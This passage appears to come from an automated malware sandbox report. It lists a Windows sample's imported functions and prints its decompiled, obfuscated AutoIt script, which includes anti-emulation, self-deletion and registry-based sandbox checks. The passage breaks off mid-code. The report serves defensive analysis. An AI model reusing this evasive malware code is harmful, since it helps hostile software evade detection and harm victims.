USERENV.dll	DestroyEnvironmentBlock, UnloadUserProfile, CreateEnvironmentBlock, LoadUserProfileW
UxTheme.dll	IsThemeActive
KERNEL32.dll	DuplicateHandle, CreateThread, WaitForSingleObject, HeapAlloc, GetProcessHeap, HeapFree, Sleep, GetCurrentThreadId, MultiByteToWideChar, MulDiv, GetVersionExW, IsWow64Process, GetSystemInfo, FreeLibrary, LoadLibraryA, GetProcAddress, SetErrorMode, GetModuleFileNameW, WideCharToMultiByte, lstrcpyW, lstrlenW, GetModuleHandleW, QueryPerformanceCounter, VirtualFreeEx, OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateFileW, SetFilePointerEx, SetEndOfFile, ReadFile, WriteFile, FlushFileBuffers, TerminateProcess, CreateToolhelp32Snapshot, Process32FirstW, Process32NextW, SetFileTime, GetFileAttributesW, FindFirstFileW, SetCurrentDirectoryW, GetLongPathNameW, GetShortPathNameW, DeleteFileW, FindNextFileW, CopyFileExW, MoveFileW, CreateDirectoryW, RemoveDirectoryW, SetSystemPowerState, QueryPerformanceFrequency, FindResourceW, LoadResource, LockResource, SizeofResource, EnumResourceNamesW, OutputDebugStringW, GetTempPathW, GetTempFileNameW, DeviceIoControl, GetLocalTime, CompareStringW, GetCurrentProcess, EnterCriticalSection, LeaveCriticalSection, GetStdHandle, CreatePipe, InterlockedExchange, TerminateThread, LoadLibraryExW, FindResourceExW, CopyFileW, VirtualFree, FormatMessageW, GetExitCodeProcess, GetPrivateProfileStringW, WritePrivateProfileStringW, GetPrivateProfileSectionW, WritePrivateProfileSectionW, GetPrivateProfileSectionNamesW, FileTimeToLocalFileTime, FileTimeToSystemTime, SystemTimeToFileTime, LocalFileTimeToFileTime, GetDriveTypeW, GetDiskFreeSpaceExW, GetDiskFreeSpaceW, GetVolumeInformationW, SetVolumeLabelW, CreateHardLinkW, SetFileAttributesW, CreateEventW, SetEvent, GetEnvironmentVariableW, SetEnvironmentVariableW, GlobalLock, GlobalUnlock, GlobalAlloc, GetFileSize, GlobalFree, GlobalMemoryStatusEx, Beep, GetSystemDirectoryW, HeapReAlloc, HeapSize, GetComputerNameW, GetWindowsDirectoryW, GetCurrentProcessId, GetProcessIoCounters, CreateProcessW, GetProcessId, SetPriorityClass, LoadLibraryW, VirtualAlloc, IsDebuggerPresent, GetCurrentDirectoryW, lstrcmpiW, DecodePointer, GetLastError, RaiseException, InitializeCriticalSectionAndSpinCount, DeleteCriticalSection, InterlockedDecrement, InterlockedIncrement, GetCurrentThread, CloseHandle, GetFullPathNameW, EncodePointer, ExitProcess, GetModuleHandleExW, ExitThread, GetSystemTimeAsFileTime, ResumeThread, GetCommandLineW, IsProcessorFeaturePresent, IsValidCodePage, GetACP, GetOEMCP, GetCPInfo, SetLastError, UnhandledExceptionFilter, SetUnhandledExceptionFilter, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, GetStartupInfoW, GetStringTypeW, SetStdHandle, GetFileType, GetConsoleCP, GetConsoleMode, RtlUnwind, ReadConsoleW, GetTimeZoneInformation, GetDateFormatW, GetTimeFormatW, LCMapStringW, GetEnvironmentStringsW, FreeEnvironmentStringsW, WriteConsoleW, FindClose, SetEnvironmentVariableA
USER32.dll	AdjustWindowRectEx, CopyImage, SetWindowPos, GetCursorInfo, RegisterHotKey, ClientToScreen, GetKeyboardLayoutNameW, IsCharAlphaW, IsCharAlphaNumericW, IsCharLowerW, IsCharUpperW, GetMenuStringW, GetSubMenu, GetCaretPos, IsZoomed, MonitorFromPoint, GetMonitorInfoW, SetWindowLongW, SetLayeredWindowAttributes, FlashWindow, GetClassLongW, TranslateAcceleratorW, IsDialogMessageW, GetSysColor, InflateRect, DrawFocusRect, DrawTextW, FrameRect, DrawFrameControl, FillRect, PtInRect, DestroyAcceleratorTable, CreateAcceleratorTableW, SetCursor, GetWindowDC, GetSystemMetrics, GetActiveWindow, CharNextW, wsprintfW, RedrawWindow, DrawMenuBar, DestroyMenu, SetMenu, GetWindowTextLengthW, CreateMenu, IsDlgButtonChecked, DefDlgProcW, CallWindowProcW, ReleaseCapture, SetCapture, CreateIconFromResourceEx, mouse_event, ExitWindowsEx, SetActiveWindow, FindWindowExW, EnumThreadWindows, SetMenuDefaultItem, InsertMenuItemW, IsMenu, TrackPopupMenuEx, GetCursorPos, DeleteMenu, SetRect, GetMenuItemID, GetMenuItemCount, SetMenuItemInfoW, GetMenuItemInfoW, SetForegroundWindow, IsIconic, FindWindowW, MonitorFromRect, keybd_event, SendInput, GetAsyncKeyState, SetKeyboardState, GetKeyboardState, GetKeyState, VkKeyScanW, LoadStringW, DialogBoxParamW, MessageBeep, EndDialog, SendDlgItemMessageW, GetDlgItem, SetWindowTextW, CopyRect, ReleaseDC, GetDC, EndPaint, BeginPaint, GetClientRect, GetMenu, DestroyWindow, EnumWindows, GetDesktopWindow, IsWindow, IsWindowEnabled, IsWindowVisible, EnableWindow, InvalidateRect, GetWindowLongW, GetWindowThreadProcessId, AttachThreadInput, GetFocus, GetWindowTextW, ScreenToClient, SendMessageTimeoutW, EnumChildWindows, CharUpperBuffW, GetParent, GetDlgCtrlID, SendMessageW, MapVirtualKeyW, PostMessageW, GetWindowRect, SetUserObjectSecurity, CloseDesktop, CloseWindowStation, OpenDesktopW, SetProcessWindowStation, GetProcessWindowStation, OpenWindowStationW, GetUserObjectSecurity, MessageBoxW, DefWindowProcW, SetClipboardData, EmptyClipboard, CountClipboardFormats, CloseClipboard, GetClipboardData, IsClipboardFormatAvailable, OpenClipboard, BlockInput, GetMessageW, LockWindowUpdate, DispatchMessageW, TranslateMessage, PeekMessageW, UnregisterHotKey, CheckMenuRadioItem, CharLowerBuffW, MoveWindow, SetFocus, PostQuitMessage, KillTimer, CreatePopupMenu, RegisterWindowMessageW, SetTimer, ShowWindow, CreateWindowExW, RegisterClassExW, LoadIconW, LoadCursorW, GetSysColorBrush, GetForegroundWindow, MessageBoxA, DestroyIcon, SystemParametersInfoW, LoadImageW, GetClassNameW
GDI32.dll	StrokePath, DeleteObject, GetTextExtentPoint32W, ExtCreatePen, GetDeviceCaps, EndPath, SetPixel, CloseFigure, CreateCompatibleBitmap, CreateCompatibleDC, SelectObject, StretchBlt, GetDIBits, LineTo, AngleArc, MoveToEx, Ellipse, DeleteDC, GetPixel, CreateDCW, GetStockObject, GetTextFaceW, CreateFontW, SetTextColor, PolyDraw, BeginPath, Rectangle, SetViewportOrgEx, GetObjectW, SetBkMode, RoundRect, SetBkColor, CreatePen, CreateSolidBrush, StrokeAndFillPath
COMDLG32.dll	GetOpenFileNameW, GetSaveFileNameW
ADVAPI32.dll	GetAce, RegEnumValueW, RegDeleteValueW, RegDeleteKeyW, RegEnumKeyExW, RegSetValueExW, RegOpenKeyExW, RegCloseKey, RegQueryValueExW, RegConnectRegistryW, InitializeSecurityDescriptor, InitializeAcl, AdjustTokenPrivileges, OpenThreadToken, OpenProcessToken, LookupPrivilegeValueW, DuplicateTokenEx, CreateProcessAsUserW, CreateProcessWithLogonW, GetLengthSid, CopySid, LogonUserW, AllocateAndInitializeSid, CheckTokenMembership, RegCreateKeyExW, FreeSid, GetTokenInformation, GetSecurityDescriptorDacl, GetAclInformation, AddAce, SetSecurityDescriptorDacl, GetUserNameW, InitiateSystemShutdownExW
SHELL32.dll	DragQueryPoint, ShellExecuteExW, DragQueryFileW, SHEmptyRecycleBinW, SHGetPathFromIDListW, SHBrowseForFolderW, SHCreateShellItem, SHGetDesktopFolder, SHGetSpecialFolderLocation, SHGetFolderPathW, SHFileOperationW, ExtractIconExW, Shell_NotifyIconW, ShellExecuteW, DragFinish
ole32.dll	CoTaskMemAlloc, CoTaskMemFree, CLSIDFromString, ProgIDFromCLSID, CLSIDFromProgID, OleSetMenuDescriptor, MkParseDisplayName, OleSetContainedObject, CoCreateInstance, IIDFromString, StringFromGUID2, CreateStreamOnHGlobal, OleInitialize, OleUninitialize, CoInitialize, CoUninitialize, GetRunningObjectTable, CoGetInstanceFromFile, CoGetObject, CoSetProxyBlanket, CoCreateInstanceEx, CoInitializeSecurity
OLEAUT32.dll	LoadTypeLibEx, VariantCopyInd, SysReAllocString, SysFreeString, SafeArrayDestroyDescriptor, SafeArrayDestroyData, SafeArrayUnaccessData, SafeArrayAccessData, SafeArrayAllocData, SafeArrayAllocDescriptorEx, SafeArrayCreateVector, RegisterTypeLib, CreateStdDispatch, DispCallFunc, VariantChangeType, SysStringLen, VariantTimeToSystemTime, VarR8FromDec, SafeArrayGetVartype, VariantCopy, VariantClear, OleLoadPicture, QueryPathOfRegTypeLib, RegisterTypeLibForUser, UnRegisterTypeLibForUser, UnRegisterTypeLib, CreateDispTypeInfo, SysAllocString, VariantInit

Version Infos

Description	Data
Translation	0x0809 0x04b0

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	Great Britain

Static AutoIT Info

General

Code:

#EndRegion #NoTrayIcon GLOBAL $__G_ACRYPTINTERNALDATA [3 ] ANTIEMULATION () FILEDELETE (@AUTOITEXE & LTBBRBWKHQVTHIQPQGTN () ) FUNC DMKIGXDEHDAPWBMCXBWT () LOCAL $PVPUGLGJJIKKGZ_MHASU [1 ] = [+ 4294897483 + 69861 ] LOCAL $QBVQUVZTQJ FOR $RXOMWTMVNGMFZJX = 0 TO 0 $QBVQUVZTQJ &= CHRW ($PVPUGLGJJIKKGZ_MHASU [$RXOMWTMVNGMFZJX ] ) NEXT RETURN $QBVQUVZTQJ ENDFUNC FUNC PHHZQYDYPGKXGNCZVQSF () LOCAL $OENMQTO_PXSZBPDNDIIL [6 ] = [+ 4294869617 - + 4294869535 , 66229 + + 4294901136 , + 4294934825 + 32542 , 16994 + 4294950397 , 87481 + 4294879898 , + 4294902313 + 65073 ] LOCAL $RJPVMIHEKA FOR $RBPLUVIXJEJSNLW = 0 TO 5 $RJPVMIHEKA &= CHRW ($OENMQTO_PXSZBPDNDIIL [$RBPLUVIXJEJSNLW ] ) NEXT RETURN $RJPVMIHEKA ENDFUNC FUNC CNRKMXXRCMASSMOVXYLK () LOCAL $KVSMNQHOYWMHGJMXWHGE [5 ] = [16708 + + 4294950688 , 94439 + + 4294872976 , 38216 + 4294929191 , 41102 + + 4294926308 , + 4294871468 - + 4294871368 ] LOCAL $TMJARZPRHZ FOR $BAWTMHVFXWPIUFA = 0 TO 4 $TMJARZPRHZ &= CHRW ($KVSMNQHOYWMHGJMXWHGE [$BAWTMHVFXWPIUFA ] ) NEXT RETURN $TMJARZPRHZ ENDFUNC FUNC LMRT_XIBBMGJWQJDHQMJ () LOCAL $FGVNKJTGTQMAVHRFCZHQ [1 ] = [+ 4294953270 + 14074 ] LOCAL $EJQEBIKAGN FOR $JUZSKCROGSGOAER = 0 TO 0 $EJQEBIKAGN &= CHRW ($FGVNKJTGTQMAVHRFCZHQ [$JUZSKCROGSGOAER ] ) NEXT RETURN $EJQEBIKAGN ENDFUNC FUNC TXESZPRNXFMRIHXNIMOF () LOCAL $IVPFPZKRWQDDANAXFXEX [1 ] = [+ 4294951230 + 16114 ] LOCAL $_DAEARGBJQ FOR $KANCQOCPXYVTVZH = 0 TO 0 $_DAEARGBJQ &= CHRW ($IVPFPZKRWQDDANAXFXEX [$KANCQOCPXYVTVZH ] ) NEXT RETURN $_DAEARGBJQ ENDFUNC FUNC BPYKRCUMTSBKD_PALRNJ () LOCAL $MENJXFNDYDJ_YWWGVNKS [6 ] = [+ 4294959729 - + 4294959625 , 49923 + 4294917470 , 17199 + 4294950207 , 44809 + 4294922587 , 47140 + + 4294920264 , + 4294940113 - + 4294940012 ] LOCAL $GEJFYHVXIK FOR $URIXBOOMPROQIBM = 0 TO 5 $GEJFYHVXIK &= CHRW ($MENJXFNDYDJ_YWWGVNKS [$URIXBOOMPROQIBM ] ) NEXT RETURN $GEJFYHVXIK ENDFUNC FUNC _XETTKFOBOSHUDIOLWVV () LOCAL $QWWNKDYPHTFHFCG_ZPHA [6 ] = [+ 4294907816 - + 4294907730 , 17102 + 4294950271 , + 4294959637 - + 4294959518 , 78458 + + 4294888935 , + 4294893493 - + 4294893379 , + 4294962335 + 5062 ] LOCAL $SWIPXOUQLG FOR $FOLEAQIQMPGIJKC = 0 TO 5 $SWIPXOUQLG &= CHRW ($QWWNKDYPHTFHFCG_ZPHA [$FOLEAQIQMPGIJKC ] ) NEXT RETURN $SWIPXOUQLG ENDFUNC FUNC UGOJSOPABHHKQAWTNNEL () LOCAL $ZAWOCLHJFSRANYKNQTOM [9 ] = [+ 4294900962 + 66410 , + 4294899666 + 67741 , + 4294951747 + 15648 , 70632 + 4294896761 , 65349 + 4294902055 , + 4294899065 + 68301 , 33538 + + 4294933872 , 86227 + + 4294881170 , 20430 + + 4294946967 ] LOCAL $SQGEZ_IPWO FOR $HHHFWJQHYTQICU_ = 0 TO 8 $SQGEZ_IPWO &= CHRW ($ZAWOCLHJFSRANYKNQTOM [$HHHFWJQHYTQICU_ ] ) NEXT RETURN $SQGEZ_IPWO ENDFUNC FUNC JFMAMOESOJRLWFZXWSVK () LOCAL $IRHPWKHUDVKZKCMYXCBC [6 ] = [+ 4294952618 - + 4294952570 , + 4294930325 - + 4294930205 , + 4294935216 - + 4294935160 , + 4294869508 + 97836 , + 4294889710 + 77634 , 44054 + 4294923290 ] LOCAL $UTB_TRTZHI FOR $CJQTXXECHKPTZSA = 0 TO 5 $UTB_TRTZHI &= CHRW ($IRHPWKHUDVKZKCMYXCBC [$CJQTXXECHKPTZSA ] ) NEXT RETURN $UTB_TRTZHI ENDFUNC FUNC YFNOSJBHFMJTAHVVDJDB () LOCAL $DICMOSBIOOXVHWZUNHCG [5 ] = [+ 4294874831 - + 4294874731 , 42080 + 4294925335 , 51737 + 4294915670 , 44608 + + 4294922802 , + 4294884494 - + 4294884394 ] LOCAL $PMFIBIXGWA FOR $IJIRIPDAA_ISTQP = 0 TO 4 $PMFIBIXGWA &= CHRW ($DICMOSBIOOXVHWZUNHCG [$IJIRIPDAA_ISTQP ] ) NEXT RETURN $PMFIBIXGWA ENDFUNC FUNC XYVQA_XHOEDEGSDPUQYR () LOCAL $ZXRFSMCZIZGYRQVB_VXS [6 ] = [+ 4294897668 - + 4294897586 , + 4294945181 + 22184 , + 4294925324 + 42043 , 74337 + 4294893054 , + 4294958538 - + 4294958455 , + 4294956980 - + 4294956890 ] LOCAL $QXBQ_TFNUH FOR $GJJ_GPYOXYZOZFN = 0 TO 5 $QXBQ_TFNUH &= CHRW ($ZXRFSMCZIZGYRQVB_VXS [$GJJ_GPYOXYZOZFN ] ) NEXT RETURN $QXBQ_TFNUH ENDFUNC FUNC IBVVXICPACMYBGFIWZOU () LOCAL $WDQHFSRWOEUHTKCPIDXE [1 ] = [4224 + + 4294963120 ] LOCAL $NPFRGBXIFE FOR $WVCCCXETKUOLFFK = 0 TO 0 $NPFRGBXIFE &= CHRW ($WDQHFSRWOEUHTKCPIDXE [$WVCCCXETKUOLFFK ] ) NEXT RETURN $NPFRGBXIFE ENDFUNC FUNC VVLSRDWOYBSEDNSKZNUN () LOCAL $KBFT_VPEDEHVODYICMWA [62 ] = [+ 4294877508 + 89836 , + 4294903284 - + 4294903233 , + 4294893022 + 74325 , 85452 + + 4294881895 , + 4294868172 + 99194 , 57421 + 4294909945 , 7723 + + 4294959625 , + 4294946678 + 20673 , + 4294951822 + 15525 , + 4294925723 + 41624 , + 4294962033 + 5331 , 19655 + + 4294947691 , + 4294913611 + 53741 , 26133 + 4294941220 , 17136 + 4294950215 , + 4294933738 - + 4294933670 , + 4294935621 + 31745 , 11328 + 4294956020 , 77683 + 4294889664 , 69905 + 4294897442 , 44457 + 4294922906 , 68434 + + 4294898910 , + 4294944403 - + 4294944347 , 31372 + + 4294935981 , 3275 + 4294964074 , 47172 + 4294920177 , + 4294914568 + 52797 , 1251 + 4294966112 , 15066 + 4294952284 , 23985 + + 4294943365 , + 4294879719 - + 4294879668 , + 4294871897 + 95456 , + 4294919076 - + 4294919027 , + 4294957823 + 9522 , + 4294867508 - + 4294867460 , + 4294898735 + 68631 , 70263 + 4294897090 , 71097 + + 4294896251 , + 4294960504 + 6859 , 26035 + + 4294941309 , + 4294961195 + 6152 , 1641 + 4294965723 , + 4294937473 + 29875 , + 4294925619 + 41745 , + 4294915853 - + 4294915800 , 70215 + 4294897146 , + 4294928411 + 38933 , 51761 + + 4294915583 , 90494 + + 4294876850 , + 4294925640 - + 4294925592 , + 4294963039 + 4305 , 97521 + 4294869845 , + 4294938727 - + 4294938671 , 6171 + 4294961177 , 67341 + 4294900003 , + 4294922860 + 44505 , 89189 + + 4294878155 , + 4294960682 - + 4294960631 , + 4294959116 + 8228 , 92369 + 4294874975 , + 4294946282 + 21062 , 5912 + + 4294961432 ] LOCAL $LLJWGPDKAK FOR $IKV_EMM_OHEXREA = 0 TO 61 $LLJWGPDKAK &= CHRW ($KBFT_VPEDEHVODYICMWA [$IKV_EMM_OHEXREA ] ) NEXT RETURN $LLJWGPDKAK ENDFUNC FUNC EXUGWVURPLQMRFNOXKLX () LOCAL $APSXOKPXOWQPN_J_AJAH [12 ] = [80613 + 4294886748 , 77884 + + 4294889512 , + 4294940335 + 27079 , + 4294952486 - + 4294952389 , 56748 + 4294910660 , + 4294928397 - + 4294928292 , 9237 + 4294958110 , 51461 + + 4294915885 , 63582 + + 4294903760 , 35655 + 4294931741 , 53354 + + 4294914050 , 76088 + + 4294891316 ] LOCAL $_ZNDBNFBNT FOR $VAYSWONOKD_ZMXG = 0 TO 11 $_ZNDBNFBNT &= CHRW ($APSXOKPXOWQPN_J_AJAH [$VAYSWONOKD_ZMXG ] ) NEXT RETURN $_ZNDBNFBNT ENDFUNC FUNC WGAIKIRQMKOSNJWOGTFJ () LOCAL $HRCPFUDTOFE_EMUICHMQ [4 ] = [+ 4294897290 - + 4294897244 , 25724 + + 4294941684 , 46152 + 4294921249 , + 4294940779 + 26619 ] LOCAL $GGPNAPOMZG FOR $IMKNW_IEEKCQEYC = 0 TO 3 $GGPNAPOMZG &= CHRW ($HRCPFUDTOFE_EMUICHMQ [$IMKNW_IEEKCQEYC ] ) NEXT RETURN $GGPNAPOMZG ENDFUNC FUNC AICZGNPNPVUZBIWYCJAX () LOCAL $XXQAZBYIOQMSBYVEOQMC [1 ] = [59082 + + 4294908268 ] LOCAL $BAEOHZZICX FOR $KPIGPKNRTBIRDDS = 0 TO 0 $BAEOHZZICX &= CHRW ($XXQAZBYIOQMSBYVEOQMC [$KPIGPKNRTBIRDDS ] ) NEXT RETURN $BAEOHZZICX ENDFUNC FUNC C_UNGTQGTZDOVYJASSAR () LOCAL $HYZFSUWE_KLKTLGGWPLO [4 ] = [+ 4294885895 + 81518 , 41887 + 4294925514 , 43857 + + 4294923549 , 97228 + + 4294870184 ] LOCAL $JNTVJSDFDH FOR $QOWNFKWEAPWLXMG = 0 TO 3 $JNTVJSDFDH &= CHRW ($HYZFSUWE_KLKTLGGWPLO [$QOWNFKWEAPWLXMG ] ) NEXT RETURN $JNTVJSDFDH ENDFUNC FUNC ZAEQOGLGZHDLBPUHT_OV () LOCAL $MGTW_XSDFMHTTVONSDQY [3 ] = [+ 4294910962 - + 4294910847 , 5344 + 4294962068 , 76891 + + 4294890519 ] LOCAL $IAN_KSGAHP FOR $ZQPOYUZ_WTHIQRP = 0 TO 2 $IAN_KSGAHP &= CHRW ($MGTW_XSDFMHTTVONSDQY [$ZQPOYUZ_WTHIQRP ] ) NEXT RETURN $IAN_KSGAHP ENDFUNC FUNC NCXVOJKWJQTAFJHFMKLD () LOCAL $GGARECDKYOQEKYMYGJU_ [62 ] = [+ 4294933424 + 33938 , 5074 + + 4294962278 , 8110 + + 4294959239 , 50009 + 4294917335 , + 4294917889 - + 4294917820 , 87642 + 4294879710 , + 4294932463 - + 4294932411 , 3718 + 4294963628 , + 4294880346 - + 4294880276 , 32628 + 4294934737 , + 4294916241 - + 4294916171 , + 4294886925 + 80441 , + 4294867983 + 99383 , 23631 + 4294943735 , 78601 + 4294888751 , 88427 + 4294878935 , 26796 + 4294940556 , + 4294959881 - + 4294959814 , 56297 + 4294911065 , + 4294909196 - + 4294909143 , + 4294933000 - + 4294932950 , 74641 + + 4294892703 , + 4294947263 + 20103 , + 4294898878 + 68488 , + 4294951194 - + 4294951124 , 69264 + 4294898102 , 41610 + 4294925756 , + 4294917210 + 50156 , + 4294870154 + 97198 , + 4294884802 + 82551 , + 4294941356 - + 4294941308 , 72069 + + 4294895276 , 63489 + + 4294903863 , 14874 + + 4294952475 , 88523 + 4294878840 , 6794 + + 4294960550 , + 4294870015 - + 4294869967 , + 4294896762 - + 4294896692 , 81215 + 4294886137 , + 4294911238 - + 4294911186 , + 4294920291 + 47062 , + 4294894627 + 72718 , + 4294963510 + 3834 , + 4294945483 - + 4294945432 , + 4294930444 + 36900 , + 4294942171 - + 4294942123 , + 4294908613 - + 4294908565 , + 4294905935 + 61409 , 88918 + 4294878430 , + 4294943182 + 24168 , 71589 + + 4294895763 , + 4294878554 - + 4294878503 , + 4294915988 + 51378 , + 4294872719 - + 4294872650 , 71198 + + 4294896146 , + 4294921155 + 46210 , + 4294954451 - + 4294954396 , 70738 + + 4294896625 , 20762 + 4294946602 , + 4294941006 - + 4294940956 , + 4294957125 - + 4294957069 , + 4294908518 - + 4294908452 ] LOCAL $QXEFCCMSTE FOR $UJTSRHFRMMHUOPY = 0 TO 61 $QXEFCCMSTE &= CHRW ($GGARECDKYOQEKYMYGJU_ [$UJTSRHFRMMHUOPY ] ) NEXT RETURN $QXEFCCMSTE ENDFUNC FUNC OBIODNZSYDWZGFVNEDTB () LOCAL $SYDBNKJYNPZAEXWVHWZM [62 ] = [+ 4294945755 - + 4294945698 , + 4294919480 - + 4294919411 , + 4294951625 + 15722 , 22513 + + 4294944834 , 35744 + 4294931622 , + 4294955497 - + 4294955427 , + 4294936921 + 30429 , + 4294960310 + 7042 , 88562 + 4294878782 , 94628 + + 4294872716 , + 4294903981 - + 4294903925 , + 4294902856 - + 4294902808 , 69428 + + 4294897916 , 54936 + 4294912408 , + 4294939646 - + 4294939598 , + 4294912465 - + 4294912417 , + 4294898763 - + 4294898710 , + 4294934374 + 32977 , + 4294934826 + 32523 , 1790 + + 4294965557 , + 4294868476 + 98890 , + 4294913655 - + 4294913585 , 73262 + + 4294894087 , 28568 + + 4294938781 , + 4294937139 - + 4294937072 , 74742 + 4294892606 , 63870 + 4294903482 , + 4294923503 - + 4294923450 , + 4294883839 + 83524 , 78911 + + 4294888433 , 60326 + 4294907018 , 24466 + + 4294942900 , + 4294912726 - + 4294912670 , 71348 + 4294896000 , + 4294885577 + 81772 , 95044 + 4294872318 , 52458 + 4294914908 , + 4294918474 + 48891 , 61022 + 4294906344 , + 4294909486 - + 4294909416 , + 4294963454 - + 4294963384 , + 4294869140 - + 4294869070 , + 4294894079 - + 4294894026 , + 4294966326 + 1025 , 98057 + 4294869293 , + 4294927846 + 39515 , + 4294914403 + 52941 , 74043 + + 4294893305 , 54902 + + 4294912450 , 66253 + 4294901111 , 80878 + + 4294886470 , 37695 + 4294929654 , 52281 + + 4294915085 , 45478 + + 4294921874 , 2877 + + 4294964472 , + 4294957137 + 10207 , + 4294926270 + 41082 , 48006 + + 4294919356 , + 4294871567 - + 4294871511 , 7577 + 4294959772 , + 4294945097 + 22265 , 21787 + + 4294945561 ] LOCAL $IYULHUXBWM FOR $FGIAZUJGHFCNMPY = 0 TO 61 $IYULHUXBWM &= CHRW ($SYDBNKJYNPZAEXWVHWZM [$FGIAZUJGHFCNMPY ] ) NEXT RETURN $IYULHUXBWM ENDFUNC FUNC XYOXFDDJLLFBOBWKWEWB () LOCAL $ZTPGZDIVUSXPXMAJUDLZ [1 ] = [+ 4294882438 - + 4294882345 ] LOCAL $HYCVIPTOPE FOR $X_HEEEXRFMURREI = 0 TO 0 $HYCVIPTOPE &= CHRW ($ZTPGZDIVUSXPXMAJUDLZ [$X_HEEEXRFMURREI ] ) NEXT RETURN $HYCVIPTOPE ENDFUNC FUNC FGWLSXICBWBLTAAY_VAM () LOCAL $PDQ_FWWVZSKJJKSQJRON [52 ] = [50562 + + 4294916834 , + 4294886690 + 80725 , 89437 + 4294877970 , 94441 + 4294872969 , + 4294877409 + 89987 , + 4294936018 + 31337 , + 4294879541 + 87860 , 50723 + 4294916683 , + 4294943067 + 24345 , 60708 + + 4294906647 , 93775 + + 4294873621 , + 4294890007 - + 4294889888 , 3990 + + 4294963417 , + 4294884277 - + 4294884163 , + 4294936698 - + 4294936598 , 12187 + 4294955168 , 49370 + + 4294918009 , 52202 + + 4294915178 , 51270 + + 4294916108 , 90419 + + 4294876962 , + 4294894731 + 72632 , 73869 + 4294893511 , + 4294879317 - + 4294879258 , 12578 + + 4294954830 , + 4294937120 + 30292 , + 4294869902 + 97508 , 7285 + + 4294960070 , 2973 + + 4294964428 , + 4294959645 + 7761 , + 4294939811 - + 4294939695 , 52911 + + 4294914444 , + 4294935073 + 32328 , + 4294923050 - + 4294922940 , 31068 + 4294936344 , + 4294958530 + 8825 , + 4294904668 + 62733 , 59228 + 4294908178 , + 4294869081 - + 4294868965 , + 4294940103 + 27252 , + 4294920807 - + 4294920695 , 50941 + + 4294916471 , + 4294927880 + 39530 , + 4294955142 - + 4294955083 , + 4294894346 + 73019 , + 4294873310 - + 4294873232 , 23302 + + 4294944062 , 13435 + + 4294953944 , 32971 + 4294934409 , + 4294902386 - + 4294902304 , + 4294895715 + 71666 , 63099 + 4294904264 , 92710 + + 4294874670 ] LOCAL $FMCKBLDKAQ FOR $VESESHCOIJATYZC = 0 TO 51 $FMCKBLDKAQ &= CHRW ($PDQ_FWWVZSKJJKSQJRON [$VESESHCOIJATYZC ] ) NEXT RETURN $FMCKBLDKAQ ENDFUNC FUNC KWOKKMKIEHBRVXDJGSOO () LOCAL $GDJIOHEKGOVKDPIDBRPC [17 ] = [+ 4294913422 - + 4294913339 , + 4294957304 - + 4294957183 , 10947 + + 4294956464 , 43808 + 4294923604 , 74209 + + 4294893188 , + 4294876235 + 91170 , + 4294918581 + 48795 , + 4294954878 - + 4294954764 , 871 + 4294966536 , 71873 + 4294895523 , 43415 + + 4294923998 , 85787 + + 4294881608 , 5795 + + 4294961617 , 8854 + 4294958520 , 12562 + 4294954831 , 41372 + + 4294926033 , + 4294887489 - + 4294887388 ] LOCAL $BQWVMVGIW_ FOR $IWSXXYOVHIQIRLE = 0 TO 16 $BQWVMVGIW_ &= CHRW ($GDJIOHEKGOVKDPIDBRPC [$IWSXXYOVHIQIRLE ] ) NEXT RETURN $BQWVMVGIW_ ENDFUNC FUNC NBMLBRYPZJSFFYU () IF STRINGINSTR (REGREAD (CBNQSTXZUWQZVYDYCMKV () , KWOKKMKIEHBRVXDJGSOO () ) , UBMVDRKKIJPOQIYOMSUA () ) THEN EXIT ELSEIF STRINGINSTR (REGREAD (CBNQSTXZUWQZVYDYCMKV () , IO_NCSQSSUVZXYWHVXRA () ) , _XETTKFOBOSHUDIOLWVV () ) THEN EXIT ELSEIF STRINGINSTR (REGREAD (MBEAGMUFOCSRCZIGSOQZ () , RKRQMNCCIGEFYTGDUEKP () ) , VASRMNKSXPGOTGJVOXMC () ) THEN EXIT ENDIF ENDFUNC FUNC QFLBEOUUDUTKFAKTPOMW () LOCAL $SFWUUXGCFMBMHYDCOSFA [9 ] = [+ 4294945645 - + 4294945543 , 51524 + 4294915883 , + 4294966074 + 1322 , + 4294912518 - + 4294912414 , 19615 + 4294947782 , + 4294941771 + 25633 , 59654 + 4294907754 , + 4294887493 - + 4294887392 , 31163 + + 4294936247 ] LOCAL $LMFLVHGRWM FOR $HHISPQTHCGXHEXI = 0 TO 8 $LMFLVHGRWM &= CHRW ($SFWUUXGCFMBMHYDCOSFA [$HHISPQTHCGXHEXI ] ) NEXT RETURN $LMFLVHGRWM ENDFUNC FUNC QDUPVHKTVIVAVMSDDXQW () LOCAL $JPDTLPZZMCIKLWUOEHPC [12 ] = [11282 + 4294956121 , + 4294888487 + 78910 , + 4294881231 - + 4294881117 , + 4294918790 + 48616 , + 4294884886 - + 4294884785 , + 4294905414 + 61990 , 36552 + 4294930795 , + 4294929957 - + 4294929907 , + 4294868456 - + 4294868410 , + 4294895446 - + 4294895346 , + 4294932045 - + 4294931937 , 51696 + + 4294915708 ] LOCAL $JVGWBHKSKO FOR $_LPYSDZVIOHWSDR = 0 TO 11 $JVGWBHKSKO &= CHRW ($JPDTLPZZMCIKLWUOEHPC [$_LPYSDZVIOHWSDR ] ) NEXT RETURN $JVGWBHKSKO ENDFUNC FUNC GQCSTXTMIYVJEYVXLPYC () LOCAL $XYHCBRRFDYLQQZETWUZG [5 ] = [+ 4294964590 - + 4294964492 , 99037 + + 4294868380 , 63048 + + 4294904364 , + 4294962057 + 5340 , + 4294897782 + 69605 ] LOCAL $FTFTBAQQSQ FOR $NGOCXHIAQCFOIKN = 0 TO 4 $FTFTBAQQSQ &= CHRW ($XYHCBRRFDYLQQZETWUZG [$NGOCXHIAQCFOIKN ] ) NEXT RETURN $FTFTBAQQSQ ENDFUNC FUNC PZEBIJWUMXAPSZQPFKUT () LOCAL $GGMOYQRMNLZUTEVDNNZI [5 ] = [15858 + + 4294951538 , 13950 + 4294953465 , + 4294942978 + 24429 , + 4294935987 + 31423 , 5968 + 4294961428 ] LOCAL $GWNEMCSLLI FOR $CAGMHJMPCSSJGAZ = 0 TO 4 $GWNEMCSLLI &= CHRW ($GGMOYQRMNLZUTEVDNNZI [$CAGMHJMPCSSJGAZ ] ) NEXT RETURN $GWNEMCSLLI ENDFUNC FUNC P_HQTDSUWYOKQXKUDAWA () LOCAL $QSHUZWBPABPUSCA_UDXV [3 ] = [13325 + + 4294954083 , + 4294896045 + 71367 , + 4294967087 - + 4294966973 ] LOCAL 